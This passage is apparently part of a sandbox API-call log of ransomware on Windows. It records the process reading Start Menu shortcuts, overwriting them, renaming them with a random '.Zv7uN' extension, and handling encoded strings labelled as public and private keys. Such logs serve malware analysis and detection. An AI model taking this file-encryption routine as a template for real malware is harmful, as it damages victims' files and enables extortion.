lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.428] GetCurrentThreadId () returned 0xa30 [0128.428] GetCurrentThreadId () returned 0xa30 [0128.428] GetCurrentThreadId () returned 0xa30 [0128.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0128.428] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0128.428] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0128.428] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x500 [0128.429] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0128.429] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f20100, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, lpNumberOfBytesRead=0x18f3d4*=0x500, lpOverlapped=0x0) returned 1 [0128.433] CloseHandle (hObject=0x1e8) returned 1 [0128.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0128.435] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f22130*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f22130*, lpNumberOfBytesWritten=0x18f3e0*=0x500, lpOverlapped=0x0) returned 1 [0128.437] CloseHandle (hObject=0x1e8) returned 1 [0128.437] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk.zv7un")) returned 1 [0128.439] GetCurrentThreadId () returned 0xa30 [0128.439] GetCurrentThreadId () returned 0xa30 [0128.439] GetCurrentThreadId () returned 0xa30 [0128.439] GetCurrentThreadId () returned 0xa30 [0128.439] GetCurrentThreadId () returned 0xa30 [0128.439] GetCurrentThreadId () returned 0xa30 [0128.439] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2a6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0128.439] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0128.439] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0128.439] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d73a72a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Notepad.lnk", cAlternateFileName="")) returned 1 [0128.439] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0128.439] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0128.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d73a72a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518)) returned 1 [0128.770] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk")) returned 0x20 [0128.771] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk", dwFileAttributes=0x80) returned 1 [0128.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0128.774] GetCurrentThreadId () returned 0xa30 [0128.774] GetCurrentThreadId () returned 0xa30 [0128.774] GetCurrentThreadId () returned 0xa30 [0128.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.775] GetCurrentThreadId () returned 0xa30 [0128.775] GetCurrentThreadId () returned 0xa30 [0128.775] GetCurrentThreadId () returned 0xa30 [0128.775] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0128.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0128.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0128.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x518 [0128.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0128.775] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x518, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x518, lpOverlapped=0x0) returned 1 [0128.779] CloseHandle (hObject=0x1e8) returned 1 [0128.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\5p5nrgjn0js 